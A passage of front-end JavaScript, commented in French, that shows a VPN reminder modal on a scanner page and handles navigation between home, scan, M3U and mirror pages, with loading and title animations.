'true'); } function isMobileScanLayout(){ return window.matchMedia('(max-width: 899px)').matches || (navigator.maxTouchPoints && navigator.maxTouchPoints > 0 && window.innerWidth <= 980); } function checkVpnWarningNearStartButton(){ if(vpnWarningAlreadySeen() || !isScanPageCurrentlyVisible()){ cleanupVpnWarningTriggers(); return; } if(!startBtn) return; const rect = startBtn.getBoundingClientRect(); const viewportHeight = window.innerHeight || document.documentElement.clientHeight || 1; // Mobile : le rappel apparaît quand le bouton “Démarrer le scan” approche de l'écran. const triggerLine = viewportHeight + 160; if(rect.top <= triggerLine && rect.bottom >= -80){ showVpnWarningModal(); } } function armVpnWarningForScanPage(){ cleanupVpnWarningTriggers(); if(vpnWarningAlreadySeen() || !isScanPageCurrentlyVisible()) return; if(isMobileScanLayout()){ vpnWarningScrollArmed = true; window.addEventListener('scroll', checkVpnWarningNearStartButton, { passive: true, capture: true }); window.addEventListener('resize', checkVpnWarningNearStartButton, { passive: true, capture: true }); window.setTimeout(checkVpnWarningNearStartButton, 220); } else { // PC / grands écrans : rappel automatique trois secondes après l'ouverture de Scanner. vpnWarningTimer = window.setTimeout(showVpnWarningModal, 3000); } } if(vpnWarningOkBtn){ vpnWarningOkBtn.addEventListener('click', closeVpnWarningModal); } if(vpnWarningModal){ vpnWarningModal.addEventListener('click', (event)=>{ if(event.target === vpnWarningModal){ closeVpnWarningModal(); } }); } window.addEventListener('keydown', (event)=>{ if(event.key === 'Escape' && vpnWarningModal && vpnWarningModal.classList.contains('vpn-modal-visible')){ closeVpnWarningModal(); } }); /* ===== Navigation accueil / scan / M3U / Miroirs ===== */ const homePage = $('homePage'); const scanPage = $('scanPage'); const m3uPage = $('m3uPage'); const mirrorPage = $('mirrorPage'); const goScanBtn = $('goScanBtn'); const goM3UBtn = $('goM3UBtn'); const goMirrorBtn = $('goMirrorBtn'); const backHomeFromScan = $('backHomeFromScan'); const backHomeFromM3U = $('backHomeFromM3U'); const backHomeFromMirror = $('backHomeFromMirror'); function restartPageKickerAnimation(pageEl){ const kicker = pageEl ? pageEl.querySelector('.home-kicker') : null; if(!kicker) return; updateSingleKickerTypingVars(kicker); kicker.style.animation = 'none'; void kicker.offsetWidth; // force le navigateur à relancer l'animation kicker.style.animation = ''; } function showPage(pageName){ if(homePage) homePage.classList.add('page-hidden'); if(scanPage) scanPage.classList.add('page-hidden'); if(m3uPage) m3uPage.classList.add('page-hidden'); if(mirrorPage) mirrorPage.classList.add('page-hidden'); const target = pageName === 'scan' ? scanPage : (pageName === 'm3u' ? m3uPage : (pageName === 'mirror' ? mirrorPage : homePage)); if(target) { target.classList.remove('page-hidden'); restartPageKickerAnimation(target); } updateServerStatusHitsVisibility(); if(pageName === 'scan') { window.setTimeout(armVpnWarningForScanPage, NAV_LOADING_MIN_MS + 80); } else { cleanupVpnWarningTriggers(); } window.scrollTo({ top: 0, behavior: 'smooth' }); } const NAV_LOADING_MIN_MS = 500; let navLoadingInProgress = false; function setNavButtonLoading(btn, isLoading){ if(!btn) return; btn.classList.toggle('nav-loading-btn', isLoading); if(isLoading){ btn.setAttribute('aria-busy', 'true'); btn.setAttribute('aria-disabled', 'true'); } else { btn.removeAttribute('aria-busy'); btn.removeAttribute('aria-disabled'); } } function navigateWithLoading(pageName, btn){ if(navLoadingInProgress) return; navLoadingInProgress = true; setNavButtonLoading(btn, true); // Minimum 0,5 seconde pour que l'animation reste visible. window.setTimeout(()=>{ showPage(pageName); setNavButtonLoading(btn, false); navLoadingInProgress = false; }, NAV_LOADING_MIN_MS); } if(goScanBtn){ goScanBtn.addEventListener('click', ()=> navigateWithLoading('scan', goScanBtn)); } if(goM3UBtn){ goM3UBtn.addEventListener('click', ()=> navigateWithLoading('m3u', goM3UBtn)); } if(goMirrorBtn){ goMirrorBtn.addEventListener('click', ()=> navigateWithLoading('mirror', goMirrorBtn)); } if(backHomeFromScan){ backHomeFromScan.addEventListener('click', ()=> navigateWithLoading('home', backHomeFromScan)); } if(backHomeFromM3U){ backHomeFromM3U.addEventListener('click', ()=> navigateWithLoading('home', backHomeFromM3U)); } if(backHomeFromMirror){ backHomeFromMirror.addEventListener('click', ()=> navigateWithLoading('home', backHomeFromMirror)); } /* Correctif du petit bug “MENU PRINCIPA|” au premier chargement : sur mobile, la police Orbitron peut arriver après la première mesure du titre. On remesure donc le petit titre une fois la police prête, puis on relance doucement l'animation visible. */ function fixInitialKickerAfterFontLoad(){ const rerun = ()=>{ updateKickerTypingVars(); if(homePage && !homePage.classList.contains('page-hidden')){ restartPageKickerAnimation(homePage); } }; window.setTimeout(rerun, 80); window.setTimeout(rerun, 450); if(document.fonts && document.fonts.ready){ document.fonts.ready.then(rerun).catch(()=>{}); } window.addEventListener('load', rerun, { once: true }); } // Init : on applique d'abord la langue de l'appareil, puis on affiche l'accueil. applyLang(); showPage('home'); fixInitialKickerAfterFontLoad(); updateStartState(); updateServerStatusPipButtonState();